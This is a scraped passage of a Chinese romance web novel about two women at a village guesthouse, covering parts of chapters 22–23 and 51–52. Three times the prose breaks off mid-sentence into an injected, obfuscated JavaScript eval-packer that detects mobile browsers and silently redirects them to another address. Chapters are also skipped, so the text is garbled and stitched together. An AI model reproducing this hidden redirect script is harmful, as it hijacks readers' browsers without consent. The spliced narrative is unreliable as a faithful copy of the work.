响了七八声,对面接通,沈硕的脸出现在屏幕,皱眉有点不太高兴的样子,强忍耐着,“怎么了?” 她周围环境嘈杂,很多人说话,走来走去,八成在什么会议或是活动现场,面上妆容精致,头发乌黑垂肩。 母女俩确实非常相像,不同是沈硕年纪到那了,自然酿造的成熟女人风韵,美中带强,颇为傲睨,上一秒跟人笑眯眯姐啊哥,下一秒就能掀桌拿酒瓶子往脑袋上磕那种。 “一位您的粉丝朋友,想见见您。” 沈新月翻转摄像头,芳芳姐立即正襟危坐,挥手打招呼,“沈导演,你好,我叫黄芳,今年四十二岁,离异有一个女儿,在长水镇开饭馆……” 沈硕沉默。 “给你征婚呢。”旁边有个声音说,不大不小,不高不低,一点点阴阳怪气。 “是谁啊?”芳芳姐小声问。 沈新月抿紧嘴巴,她总不能告诉芳芳姐,那是她第二个妈。 “你在干什么?”沈硕问。 “芳芳姐说只要见你一面,以后就都收我的菜,我在卖蕨菜。”沈新月赶忙举起手机跑到外面去。 沈硕果然发怒,“老娘几个亿的大项目,你跟我说你在卖菜?” “你一百个亿也得吃菜……”沈新月弱弱。 什么人,还瞧不起人家卖菜。 “滚蛋,忙得很。”通话结束。 沈新月收起手机,芳芳姐从库房跟出来,“你挨骂啦?” “你别听她吹牛,几个亿,牛哄哄,其实有几毛钱能进她口袋呀。”沈新月摇头晃脑酸溜溜。 “别往心里去,她一直就这个脾气。” 芳芳姐竟还反过来安慰,“她忙嘛,人一忙起来就容易急脾气。” 沈新月懂了,“姐是真爱粉。” 芳芳姐没废话,“菜收了,你拿多少我就收多少,怎么样,够义气吧。” “好,成交!” 江有盈坐车上玩消消乐,看店里俩人勾肩搭背好得跟什么似的,心嗤小狐狸手段不俗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我身体挺好的……”沈新月蔫蔫。 怎么忘了这茬! 22.第 22 章 沈新月一开始没想卖菜,都是叫人给逼的。她不服气,不愿被小看,也是真馋那口咖啡,想弄点钱花花。 说出去的话泼出去的水,为此还得罪了妈,当然不能半途而废。 饭店员工餐都是错峰吃,不会跟客人来店里的时间撞在一起,芳芳姐早就吃过了,招呼她们坐,闲聊几句,起身自顾去忙。 沈新月回头四处望望,端起桌上小茶壶,为江师傅续杯。 “荞麦茶,好香的。” 刚喝完一杯润了口,江有盈不动,菜还没上,她靠在椅背玩消消乐。 “是不是烫?”沈新月脑袋凑近,呼呼吹几下,端起喂到人嘴边。 江有盈抬头,视线从澄黄微漾的茶水缓缓移动至她的脸,仍是一言不发。 半截身子拧成麻花,要躲开她的手机又要不泼散了茶,沈新月手臂发酸,表情逐渐扭曲。 “姐姐饮茶呀——” “不饮。”江有盈面无表情说道。 “你不爱喝水?”沈新月将茶杯贴上她的嘴唇,“要多喝水,不然会长肾结石的。真的,很痛的,我以前有个朋友就是不爱喝水,她结石好大个!做手术才取出来。” 她皮肤白,唇色也浅,不说话不笑,看起来冷冷。茶水润开,一点晶莹,那唇顷刻丰富了颜色,粉嫩柔软,她整个人似乎都融化了一半。 沈新月再接再励,倾斜茶杯。 另一半却是钢浇铁铸,不能感动,她唇紧闭,茶水淅淅沥沥,顺着下巴淌进衣领。 “哎呀!”气笑,沈新月破功,手也实在酸得不行,茶杯掉在她怀里。 完蛋又闯祸! 沈新月真想不明白,在芳芳姐面前,她不说运筹帷幄,决胜千里,勉强也能称得上游刃有余吧!怎么一到江有盈面前就变成村口二傻子。 “对不起对不起……”沈新月捡起茶杯,赶忙抓来纸巾为她擦拭。 茶水渗透进长裤布料,沈新月拿手贴着纸巾使劲按了按,感觉她大腿很软,又给她擦脖子。 她衬衫敞着,里面小背心中间一道明显的湿痕,凑近能闻到混合茶水的湿润暖香,沈新月不慎误触,肉眼可见的速度红温。 停手,呼吸相融的距离,沈新月抬头对上她面无表情的脸,缓缓收手,坐回位置。 “对不起。”声细如蚊蚋。 从始至终,江有盈一言不发。 打破尴尬的是饭店里那个小服务员,过来给她们上菜,“当心烫啊。” 一荤一素外加个汤,两人正好,沈新月不敢乱来了,给她打饭,又另从消毒柜里取小碗盛汤。 期间频频往人衣领那瞄。 懒得计较,江有盈刚举了筷子要吃饭,沈新月一下站起来,弯腰扯了她两边衬衫,中间位置扣上纽扣。 脸红得要死,呼吸都不敢,沈新月垂着眼皮,哼哼重复着“对不起”,又解释,“还是稍微遮下。” “丢人的不是我,我为什么要遮。”江有盈终于开口。 这话真有理,真不俗,沈新月给她碗里夹菜,“你说得对,但我害臊。” “你害臊什么?”江有盈逼问。 “你很香。”沈新月脑子乱成一锅粥,稀里糊涂的,不知道自己在说什么,夹菜的手还在抖。 那份湿软的触感仍未消散。 像蜜蜂被花朵吸引,她的鲜艳和芬芳无法忽视,沈新月低下头颅,事件走向完全不在她掌控。 记吃不记打,完了还是陷进去了。 后半程,沈新月埋头吃饭,不敢说话也不敢动。 吃完江有盈起身去扫码付款,芳芳姐在忙没注意,听见语音播报,猛一回头指着她,“干什么你。” 芳芳姐大步流星,跑来把她揪住,“都说请客了,你不拿我当朋友。” “一码归一码。”江有盈说。 钱都付了,不好再退回来,拉拉扯扯的没意思。 芳芳姐侧脸看了眼沈新月,“怕我给她缺斤少两,跟我平账呢。” 啊,原来是这个意思,沈新月才醒悟过来。 吃完饭江有盈要去集市上看鸡苗,那边堵得很,车就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14913651|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停在饭店门口,她们走着过去,顺道消消食。 江有盈把衬衫扣子解开了,风吹能干快点,捂着也不舒服。沈新月小碎步跟在她身边,一切动向尽收眼底,捂着嘴凑上去,“要不拿纸巾垫着里面。” “什么?”江有盈没太明白。 “就是你的内衣,湿了嘛,我怕你不舒服……”沈新月声音越说越小。 “行。”大马路上一站,掀开衬衫敞着怀,江有盈下巴尖高高翘起,“你来给我垫着。” 这人怎么这样啊。沈新月快哭了,手连鼻子一块捂着,瓮声瓮气的,“那我岂不是摸到了。” “给你摸。”江师傅可痛快。 “那你还是……”沈新月想摸来着,哪儿敢。 好心好意,体贴关怀,她就会拿人家开涮。 “你湿着吧。” “屁事没完。”江有盈用力扯了把衣裳,大步往前。 江师傅豪爽,不在乎这些细枝末节,沈新月跟着她走出一段路,也觉得自己刚才费劲巴拉一通这啊那的确实多余。 手欠,脑子不清楚,被驴踢了,好端端喂什么水…… 反正从她们第一次见面开始,她就没有一天不丢人。不是在丢人就是在丢人的路上。 丢着丢着就习惯了。 沈新月迅速调整好自己,小跑两步,并肩,“谢谢你帮我。” 给她介绍芳芳姐,让她有了自己的小生意,有了生活下去的信心和目标,担心她被欺负,方方面面都考虑到。 所以,在人生的低谷时刻,遇见这样一个能干的,温柔的,细心的,有点口嫌体正直的漂亮女人,对其产生好感,是再正常不过的…… 对吧。 “你帮了我那么多,我还老是跟你唱反调,顶嘴,生闷气,各种拎不清,真是太不应该了。” 沈新月左手揪右手,低头没注意人行道有电瓶车过来,江有盈拉了她一把,人扯到面前。 “没事,我不会跟你计较的,你别内耗,也别多想。”江有盈伸手摸摸她头,“姑婆疼你。” 23.第 23 章 沈新月好多年没赶过大集,一路走一路看,各种小摊小店,吃的喝的用的,还跟小时候一样。 机器现打出来的玉米棒,荞麦酥,刚出炉还热乎,旁边守个人,拿把剪刀,出来一截剪一截。 荞麦酥大多剪成三角形,出来热气一散都变得脆脆的。 沈新月小时候也喜欢蹲在旁边守着,有剩下的边角料,大方的老板会分给围观的小孩吃。 她从旁经过,眼不错珠盯着,大娘给上一位客人称了,顺手抓半根玉米棒递过去,“尝尝。” “谢谢谢谢。”沈新月双手接过,马上塞进嘴里。味道没变,脆香脆香的。 江有盈本来在隔壁看五香调料,这时候走过来,手指点点,“各两斤。” 脆脆酥不压秤,四斤,两大口袋,沈新月喜滋滋抱在怀里,“你也喜欢吃这个呀!” 她主动接过来,帮忙出份力,能混一口算一口,正说着话,手又伸进去掏出个荞麦酥。 江有盈继续看买五香调料,沈新月瞧见旁边有卖蕨菜的,上前问价,老太太报了串数字,竟然比芳芳姐开出的价格高出两倍多。 她没往深想自己是不是被坑了,只觉得奇怪,拉着江有盈,“她那蕨是不是跟我的品种不一样?贵那么多。” 江有盈领着她继续往前走,称了二两干花椒才回去。 “你别站太近,旁边听着。” 小菜摊前,江有盈蹲地上看菜,都没上手扒拉,还是说的普通话,老太太直接对半砍,比芳芳姐收的还便宜一块多。 “我再看看。”江有盈起身离开。 “你全要我再给你少点!”老太太喊。 沈新月糊涂了,“到底为什么?” “不是菜品种不一样,是人的品种不一样。”江有盈说。 沈新月琢磨半天才反应过来,指着鼻尖,“意思我长得蠢,好骗?” “我没这么说,这是你自己说的。”江有盈停在一家米花糖铺子前。 沈新月不爱吃米花糖,这玩意搁久一股哈猪油味儿,可难闻,花生也爱返潮。 江有盈等了几秒,见她没露馋,也没去乞讨,浅浅弯一下嘴角,继续往前走。 还挺挑食。 “也太不淳朴了。”沈新月还在为刚才的事情生气,“她一点不像骗人,叫得好亲热,喊我妹妹。” “怎么骗你还提前跟你打声招呼?”江有盈笑。 “呜”一声,沈新月两袋脆脆酥挂在手臂,腾出手抱住人胳膊,调子嗲嗲软软的,“都来欺负我,不公平。” 身体微僵一瞬,江有盈不自在动了动肩膀,停在那,“回去打她一顿,给你出出气。” 开玩笑的,怎么可能。 沈新月摇头,“我没那么小心眼,估计她日子也不好过,不是说现在很多留守老人和留守儿童嘛,都是为了生活,否则不至于骗这几块钱。” “你真善良。”江有盈说。 沈新月难过瘪嘴,“江师傅嘲讽我。” 怎么会是嘲讽,江有盈认真解释,“善良是一种非常珍贵美好的品质。” “可人一旦没钱就很难保持善良。”沈新月说。 江有盈并不完全认同,“有钱更难保持善良,这东西还是分人。” 欸,有道理,沈新月一下就被说服。 “那意思我真的很不错了?” “你很好。”江有盈回答。 集上逛一圈,买了一大堆东西,外婆要的鸡苗有倒是有,江师傅说看着还不太健康,等下周。 沈新月不懂,反正她说什么就是什么。 最后她们才去快递站拿东西,镇上的快递都是攒够一批才往村里送,除非冷链生鲜一类。 沈新月脑子是真转不过来,“怎么一开始去寄快递的时候不拿呢?” “放车上不被人偷了?”江有盈反问。 沈新月扭头四处看,“有监控的呀。” 过分天真。江有盈上车,“你怪不得被人骗。” 沈新月把脆脆卷都安顿好,“是了,老的也骗,年轻的也骗,该死的直女。” 江有盈低头戴手套,不说话,沈新月赶紧补一句,“不是说你哦,你没有骗过我。” “说不定呢。”江有盈启动车子。 沈新月很喜欢从长水到秀坪之间的这段乡道,沥青路两边水田倒映着天空,春花交织成毯,风里隐约的新鲜大粪味闻起来都是亲切的。 每一种气味,代表着一段回忆,她的童年几乎没有一点瑕疵,即便挨打也是罪有应得,比如撒尿淋得她妈满头满脸。 “我的心里饱饱胀胀的。”有什么东西呼之欲出,可能是一句话,一项重大的决定,一声呐喊。 迎着风,沈新月摇头,“我自己也说不清楚。” “吃撑了吧。”江有盈声音飘来。 沈新月笑着摸摸肚子。 风同时带来身边人柔软的长发,水草一般缠绕了她的脖颈,轻轻拉拽着,往旁边靠。 江有盈在开车,坐姿端正,清瘦侧脸无限忧郁感觉。电三轮可以让她们并肩而坐,沈新月看着她,置身其中又似乎只是一位旁观者,很有些电影里末路情人的凄美浪漫。 不同,天空明媚,大地广阔,春风无限温柔,前方是更为丰盛热烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈新月一直很想认真看看她的脸,现在她闭着眼睛,终于可以明目张胆地看。 江有盈不是传统意义上那种精致标准的漂亮,可她如此迷人,像一株白山茶独自绽放于深林,躲藏在枝叶,幽邃清雅不易被察觉,可一旦视线捕捉,就再也挪不开了。 她躲在帐篷里,似乎很害羞,却引首以望,暗暗期待。 骨髓渗出的暗痒驱使,手撑在铺了小碎花床单的帐篷地垫,俯身,长发扫落在她的颈,感觉到她的微微瑟缩,沈新月轻轻吻住她的嘴唇。 50-60 第51章 沈新月站在楼梯拐角处,双手还死死揪住自己衣领,指骨用力到发白,浑身紧绷艰难维持现状,似乎稍有松懈,下一秒就会碎裂成块掉落得满地。 从始至终,江有盈冷心冷面,完全无动于衷。 擦身之际,沈新月控制不住去牵她手。 “对不起,我不拍了,是我错了,在你明确表达不愿意面对镜头的时候,我不应该那样为难你。” 她可以服软,完全没问题的。 江有盈没有立即甩开。她微偏过脸,台阶上比沈新月高出大半个头,长直的睫完全遮挡眼睛。 “你没错,是我的问题,我反复无常,阴晴不定,对自己缺乏基本的认知,你换个人喜欢吧,你值得更好的。” 话落,擦肩而过。 指尖温度流失,沈新月心脏猛烈一抽,她被风吹起的碎发像刀片割过眼皮,泪水难以抑制地流淌。 浑身血凉透,沈新月身体一软,险些从围栏跌落,幸而江启明快跑上楼及时拉住她袖子。 “嘟嘟姐。”江启明抱住她腰。 二楼走廊尽头传来用力摔门声,带得整栋楼房都跟着一颤。 “我没事。”沈新月扶着围栏坐在台阶上,“缓缓就好了。” 江启明把手机在大腿上擦擦灰才递过去。 沈新月按了好几下开关键,没反应,吸吸鼻子,摇头表示算了,“反正也没什么人联系我。” 可偏偏在丁苗告诉她,支付软件解冻可以重新使用的这一天,她准备开启生活新副本学习新技能的这一天,她决定再多给江有盈一些时间和爱的这一天…… “可能真是我自作多情。”沈新月手背胡乱抹脸,没什么事情好做,只能一遍遍尝试重新开机。 江启明坐在她身边位置,随身小包里摸出纸巾,给她擦脸擦手。 她双手握住冰凌,试图将其暖化,或许还是有些效果的,分不清是谁的眼泪顺着手腕滴湿了毛衣袖口。 躲在楼梯拐角等她们吵完架的客人终于敢冒头,说“不好意思”,要下楼去外面吃晚饭。 江启明率先起身让道,是上午在走廊跟沈新月打过照面的女孩,她走出几步回头关切道:“你没事吧?” 沈新月脑袋往怀里藏了下,摇头,江启明挡她面前,“谢谢你的关心,她没事。” 不好在这种时候多留,女生点点头,“那我先走了,拜拜。” 等人走出院门,沈新月站起来拍拍屁股,“我回去了,让客人看到,隔天说不定发在网上吐槽,说住民宿遇见女同性恋吵架,到时候害她被八卦……” 她不喜欢镜头,应该也不喜欢被议论。 江启明牵起她手,“我陪你。” 她们一起去了沈新月的小房间,沈新月坐在床边上个月江有盈给她买的短毛地毯。 回到熟悉的小窝,心安不少,沈新月记得更早之前,她跟江有盈讨论房间布置,她夸她审美独特,江有盈立即在网上下单如台灯地毯之类,说软装才是家的灵魂。 ——“你也布置一下自己的小房间。” 现在好,她给她布置好了,然后把她扫地出门。 “手机好像真的坏了。”江启明自责,想给她买部新的,但道理上来说,应该是谁摔坏谁负责。 沈新月把电脑抱出来,“没事,我还有这个可以玩,你想玩游戏吗?” 江启明摇头说“不玩”,“那你还想建号拍视频吗?” “拍——”沈新月不哭了,用力点头。 “这世上可拍的东西那么多,又不是只有她,而且我妈是导演,我觉得这方面我应该是有点天赋的。” 键盘上敲敲打打,触摸板滑来滑去,结果建号第一步卡在登陆验证码。 手机坏了,没办法接收短信。 沈新月忍不住笑出声,江启明拿出自己的手机,“先把卡换下来,你登录,买新手机之前先看教程学习剪辑吧。” 她说得有道理,沈新月“嗯”一声,又忍不住抽搭一下。 “小孩姐,你真的冷静又聪明,你以后肯定超厉害的。” “我现在就超厉害的,不用等以后。”江启明小大人似摸摸她头,“你也不要对自己这么苛刻,你是当局者迷,我是旁观者清,如果是我自己遇到这种事情,也会犯傻犯迷糊,揪住人家问个不停。” “那你觉得她迷糊吗?”沈新月把卡换进小孩姐手机,验证码登录网页。 “指定迷糊,只是比你会装罢了。” 江启明忧愁叹气,“但我管不了她,她没你那么好相处。” 身边有人陪着说话,沈新月状态没有继续恶化,“我就是因为太好相处,才人人都欺负我。” “如果是有良心的人,这样欺负你一定非常愧疚。”江启明说。 顿了顿补充,“而且正是因为你人好,我才会来安抚你,因为你值得。再看江有盈那张臭脸,谁敢靠近她。” “她愧疚吗?”沈新月手悬在键盘,目光穿透屏幕。 独坐在房间小沙发,江有盈说不太清楚心里是什么感觉。 只能采取排除法。 生气?当然不;怨恨?她心中无恨。 那当时为什么会有那么大的反应,或许来源一种心灵深处的自我厌弃。 她表面看起来干脆又爽利,腰杆挺直,走路大步生风,用很多技能武装自己,可以不再为钱发愁。 可骨子里,驱动力并非对幸福的向往,而是恐惧。 烟烫的疤,刀切的口,一路走来跌跌撞撞留下的满身淤青从未痊愈,皮下早就生疮流脓。 再近,就要暴露了。 独坐在房间小沙发,目光环视,沈新月不在,又无处不在。 门口有她进房间要换的拖鞋,墙上挂有她大红颜色粗线针织外衣,床头是她喝水的杯子,手边是她最近在看的书…… 还有气味,即使闭上眼睛也无法忽略的气味。 那是一种踏实稳妥的木质香,像用了几十年的老檀木柜子,她穿过的衣服,躺过的床都会沾染到。 随空气进入口鼻,吸入肺腑,剧毒无比,点点腐蚀血肉。 江有盈不敢保证今天这场闹剧没有一丁点试探的成分,但不完全是。 如果沈新月早晚知道她恶贯满盈,劣迹斑斑,到时说什么“我真没想到你竟然是这种人”,那不如她主动揭开自己丑陋刻薄的一面。 至少不会被伤,也不会再次成为被抛弃的那个。 ——“是你把我想得太好,这种落差是你自己脑补过多造成的。” ——“你心中那些高尚品格其实跟我半毛钱关系也没有。” ——“现在你知道了,我是个烂人,问我怎么会变成这样,可我一直这样。” 很长一段时间的半军事化管理,让她没有在这些问题上花费太多时间,她的自律规范常常使她心虚,也确实在无形中减少许多消耗。 十分钟后,江有盈调整好情绪,去隔壁院子,进厨房把还没解冻的肉扔微波炉。不管怎么说,饭还是要吃的,结结实实挨过饿,她从不在这方面委屈自己。 江启明下楼,站厨房门口,手抠着门框看她,喊了声“妈”。 菜刀拍蒜,江有盈置若罔闻。 晚饭沈新月没下楼,江启明拿个大碗菜饭各装一半,外婆什么也没问,却什么都知道,朝前努努下巴,“你妈厨房冰箱里有可乐,给你嘟嘟姐拿一罐。” 江启明把可乐和饭一起端上楼,沈新月又不免想到跟江有盈见面第一天,被人家整蛊,可乐喷得满头满脸。 “你喝吧。”她兴致不高,尝出饭菜是江有盈的手艺。外婆年纪大了,炒菜盐味比较重。 江有盈还跟没事人一样跑来做饭呢,这心理素质,她自愧不如,连跟人同桌吃饭的勇气都没有。 不知从什么时候开始,沈新月发现自己习惯以逃避解决问题,要么就装傻充愣。 大概是十岁生日那年,她真真切切体会到逃跑带来的好处,她逃离了那个陌生女人和曾经称作父亲的男人的家。 逃避确实有用,而且这世上大部分的问题其实都没法解决,逃离暂时让心灵获得安定,让翻滚的情绪平息,不是坏事。 沈新月一勺接一勺往嘴里填食,直到碗底空空,她发现自己胃口还挺好,接过江启明递来的剩下半听可乐,慢慢喝完。 “今天我陪你睡觉吧。”江启明说。 沈新月应了声“好”,倒在地毯,江启明伺候她吃完饭把碗收走,甚至在晚上洗完澡以后,把她脱下来的脏衣服拿到楼下塞洗衣机。 “你人好好。”沈新月开始有点过意不去,后来转念一想——母债女偿,天经地义。 “我一个人也无聊。”江启明把手机语音助手喊出来,定闹钟,一会儿下楼去晾衣服。 “太婆喜欢打牌,虽然很好玩,偶尔我也需要安静。” 她真是滴水不漏。 “那……”沈新月一歪头,乐了,“你妈肯定更无聊。” 她声音哭得有点哑,但不耽误幸灾乐祸。 无聊吗?不知道,但落差感必然存在。 房间很空,少了个人在耳边叽叽喳喳,江有盈确实不太习惯。 由奢入俭难是必然,但也算不了什么,以前比现在更惨的时候不是没有,她人生中最不缺的就是失去。 小狗抱枕重获恩宠。 她探身取来小沙发上那本书,不当心,纸页中有蝴蝶般的花瓣翩然落地。 江有盈下床弯腰捡起。 山茶和栀子,书页中失水褪色,红褐像旧衣服上一块干掉的血印,茧黄更多是植物本来的苦涩。 脱离枝干,没有养分供给,花朵不复曾经的芬芳美丽。 没心思看书了,书签放回去,江有盈关闭台灯倒在床,脸埋进枕头。 起初,那人的气味还十分浓烈,足够平缓心乱,欺骗大脑,渐渐气味变淡,目所不能及的黑暗中,地面凝结出一个模糊的人影,正持刀悄无声息靠近…… “谁?!”江有盈立即翻身坐起,抱枕抵挡身前,单膝触地,跪姿防备。 她明知道什么也没有,眼前那黑影却愈来愈近,刀刃闪动着锋利的光。 从墙壁和床铺生长出无数手臂,握住她的脚踝,压在她肩膀,将她双手反剪身后。 甚至扯拽了她的头发,迫使她身体后仰把脖子亮出来,便于利器切割。 不服,不愿,从心脏爆发出一股强大的力量,她挣脱束缚。 “啪——” 台灯打开。 魑魅魍魉皆退散。 小房间明亮温馨,四周是她熟悉的床、沙发,大大小小的柜子,风格清新的挂画和复古样式的碎花墙布。 如经历一场恶战,江有盈脱力躺倒,大口呼吸。 她不能再关灯睡觉了,没人保护她了。 在这个本该失眠的夜,因为手机摔坏,也不好一直抱着电脑影响小孩,沈新月被迫早早进入梦乡。 可她头还是很痛,睡着也痛,醒来披衣走出房间,看到隔壁楼小露台上一片绒绒的暖光,有些意外,甚至是窃喜。 她很愿意看到江有盈哪怕只有丁点的不良反应,那失去的痛苦就不是她独自承担。 说是报复的快感并不准确,沈新月自认是个善良的人,她希望她好,但别太好。 晚安吻没有了,睡觉只能夹住抱枕,醒来枕边摸空,没人送没人等,也没人隔一个小时打一个电话,说“我好想你”。 下一秒,她听见夜色中响起极细微的脚步声,心里正暗暗紧张,那人猝不及防,出现在视野。 款式肥大的粗针织外衫,也遮挡不住的高挑瘦削。 沈新月定住,她也刚巧转头望来。 平静的心再起波澜,沈新月很没出息想,如果江有盈动打招呼,她会回应。 不单回应,可能还要抓紧机会多说几句。 但幸好没有。 星星灯组成一条横亘在她们之间的银河。 片刻失神,她已经消失不见,像一场短暂而美丽的梦。 杏仁核不语,只是默默消化垃圾情绪,沈新月早起感觉神清气爽,前天发生的事情完全忘记,昨天发生的事情忘记了一半。 直到看见床头柜上摔坏的手机。 心无端抽痛一下,一种强烈的迷茫将她包裹,世界空荡荡好像只剩她一个,她好无助,好难过,像舞台聚光灯下的演员不能没有观众,她迫切需要江有盈,想要她温柔含笑的眼睛注视着自己。 柜子里翻出一件很久不穿的连衣裙,洗漱后对镜细细描画脸蛋,沈新月下楼,直奔隔壁小院。 她提裙上楼,穿过走廊,进入办公室,抬手敲响里间那扇房门。 “笃笃笃——” 一秒、两秒、三秒…… 半分钟过去了。 无人回应。 没关系,沈新月离开办公室,走廊尽头拐个弯,去后面小露台。 拨开三角梅繁茂枝叶,她看到房间窗户大开着,内里却空无一人。 沈新月直起腰,清冽的晨风中慢慢冷静下来。 回房间,她换回往常工作喜穿的T恤和肥短裤,江启明刚从床上坐起来,揉揉眼睛。 “你去找我妈了。” 沈新月点头。 “她走了吗?”江启明打了个哈欠。 沈新月再次点头。 江启明下床开始穿衣服。 沈新月回头,“我是不是很贱呐?”她还化了全妆。 “你好漂亮。”江启明答非所问。 突然失去所有力气,沈新月倒在床上。 没躺太久,她快速起床喂鸡,拆换床单整理房间,赶在下一批游客入住前,小院里外打扫干净。 中午外婆做饭,江有盈没回来,沈新月吃完立马接待客人,爬树摘樱桃,余下的果子洗干净给外婆熬果酱。 剩下的时间,她把自己放逐在荷塘边那座小亭。 于是,不免想起跟江有盈在荷塘边发生的很多。 想起她软软亮亮的眼睛。 ——“为此刻,为与你。” 这座小亭子是江有盈专门为她建的,虽然那女人嘴上借口说什么卖凉茶,秀坪这样的小地方,又不是国家5A,恐怕白送都没几个人光顾。 沈新月没有自夸,起因是她有次趁着下雨跑来荷塘,说想看雨打荷叶,没过几天江有盈就买来木料找工人搭建。 所以,即便挨过她两次巴掌,还常常被她指着鼻子骂,沈新月从来没跟她较真。 塘里的荷叶长了一米多高,花苞也窜起好多,再过两三天就能摘花去卖。 江启明手里捏一柄吃冰淇淋剩的小勺,靠岸她伸手能够到的地方,把粉红色福寿螺的卵挖到水桶里。 她还带了网,渔网能打捞的成螺也捞起装桶。 “别伤感啦!”江启明回头大声喊:“来捡螺,然后弄死,超爽的。” 她正拿手机拍,说这也是素材。 沈新月让她别拍了,“你把我素材拍走到时候我拍什么。” “恋爱日常。”江启明头也不抬说。 “搞笑呢,到时候又得买新手机。” 沈新月没好气,“而且人家都跟我分手了。” “谁让你非跟她拍了。” 江启明挤眼,“天涯何处无芳草。” “可我偏偏独宠她一人。”沈新月接下句。 鸭子是放养在荷塘里的,吃害螺,可害螺学精,爬到荷叶杆高处产卵,不能放药只好人工干预。 沈新月把岸边那艘小船拖下去,带上江启明,一个掌舵,一个清卵,到接近晚饭的点,水桶装满。 “本是打算休息。”沈新月浑身汗把衣裳湿透,草帽戴久了,脑门上一圈印子。 “哈哈——” 江启明伸手去摸,“好像紧箍咒。” 沈新月撩起衣服擦汗,内衣露出来也无所谓,她如今随性得很。 江启明伸手给她揉揉,“其实我是不想让你一直难过,找点事情做嘛,等我去上学你只能独自面对了。” “那等你上学我也康复了。”沈新月拖着小船上岸,放回鸭棚,用油帆布盖着。 至于桶里的福寿螺,她们在村里打听,谁家正装修房子,讨些生石灰,在荷塘附近挖个土坑,丢进去烧。 江启明为了拍视频赚流量,准备十八般兵器,什么花露水啦,风油精啦,盐啦,甚至还从小安那要了些咖啡渣。 “这一期,我已经想好标题,叫杀死福寿螺的一百种方法。” 江启明挑了几只大螺出来,准备采取不同的办法弄死。 沈新月指指点点,“这也没有一百呐。” 江启明“嗯”一声,“有些杠精观众会产生跟你同样的疑问,这样我的评论就会变多。而且有没有一百种根本不重要,标题本来就是为了吸睛。” 还能这样! 沈新月拱手,“受教了。” 想想不对,“我才不是杠精呢,我那是严谨!” “杠精都这样美化自己。”江启明说。 暮色渐晚,小河水潺潺如洒金,踩着夕阳蹦蹦跳跳回家,小院里已经有人在等。 沈新月笑容僵在脸上,接过江启明手里的水桶和渔网,要放去杂物间,江有盈从桌边站起,“等一下。” “我来。”江启明进杂物间放了东西,立即跑去楼上。 手指有点黏,回来路上沈新月又买了根雪糕吃。她低头不敢看,洞洞鞋两边蹭得有点脏,满头汗干了湿,湿了干,头发都变涩,脸上妆全花,小腿上还有一道不知道在哪儿划的细长口子,已经结疤。 相比,江有盈有时即便刚从工地回来,也不过肩头和鞋面一点灰,干净又体面。 “赔你的手机。”她伸长手臂,递来牛皮纸袋。 熟悉的音色,沈新月发现自己还是没办法对她保持平静,手指揪紧两边裤缝,“我没有让你赔。” “对不起。”她说。 “你没做错什么。”沈新月抬脸快速冲她笑一下,“是我,不识好歹,明知道你不高兴还非往上凑。” 视线短暂交汇,她眼中的平静又让人心头一阵痛。 偏有人不怕痛,把手指上的倒欠皮一条条撕下来,沈新月眼珠机灵灵,如果有镜子她会发现自己现在笑得特别不值钱。 “其实今天早上,想跟你道歉的,但我起床的时候你已经走了。” “拿着吧。”江有盈手往前递了递。 沈新月接过纸袋,是她喜欢的牌子,去年九月的新款,另有几个手机壳。 “这么多!”她语调拔高,“镇上有专卖店吗?” “去了趟市里。”大概是受到感染,江有盈浅弯一下嘴角,“多几个壳你换着用,也是不确定你喜欢什么样的。” “那开车要很久。”沈新月把牛皮纸袋抱在怀里,心里酸酸胀胀,“你好好。” 她不记仇,忘性大,心想吵架闹分手是情侣日常,差不多得了,别死揪着不放,江有盈一大早开车出去给她买手机,好辛苦的,她还跟她置什么气呢。 “谢谢你。”沈新月上前搂住她胳膊,没通知任何人,决定跟她和好。 第52章 樱桃果酱灶台上熬煮半日,咕嘟着密集的绛红色小泡,酸甜香飘出窗棂,小院空气甜蜜。 江启明从二楼“蹬蹬”跑下,冲进厨房踮脚往锅里看。 外婆关火,小锅端起放到一边,“晾凉装进玻璃罐子里,你走的时候记得带上,做饮料也行,抹面包片洋人吃法也行。” “好!”江启明用力点头。 她两只大眼睛同时往窗外斜,“她们应该是和好了吧?” 外婆哼声:“管她们的,小年轻一天天都吃饱没事干,闹来闹去不知道珍惜,等着看吧,会有她们后悔的时候。” 江启明抓抓脸蛋,“那我咋办呢,想办法帮帮她们。” 外婆说没事,“都得闹,不闹好不了,必经之路。” 沈新月亲亲密密搂着江有盈胳膊,本来还打算亲她一口好好感谢感谢,下午在荷塘弄得满身脏,没好意思,怕被嫌弃。 她洗完手坐到大树底下拆手机,脸上笑藏不住,也不想去藏,欢喜得不得了。 开机一系列流程结束,她率先打开相机举着满院子拍,镜头晃过那道细长人影,飞快捂住,“我还没开始,只是听说这个型号拍摄质感特别好,在试。” 江有盈扫她一眼,“你想拍就拍吧。” “我不。”沈新月狂摇头,捧着手机赶紧跑回来套上壳。 “这个型号换我自己肯定舍不得买,我买普通的就行,再摔真会心疼。” 她两只手摸来摸去,“贵个几千块手感真不一样吼!” 她发现她跟江有盈都是花钱方面对别人比对自己大方。这几天她请江启明吃了好多零食,还去小安店里喝咖啡,平时对自己从来没舍得呢。 江有盈手机也挺旧了,有次搬货,不留神手滑,落地玻璃尖尖角戳在她大腿根,要不是手机刚好揣在那挡着,她肯定受伤。 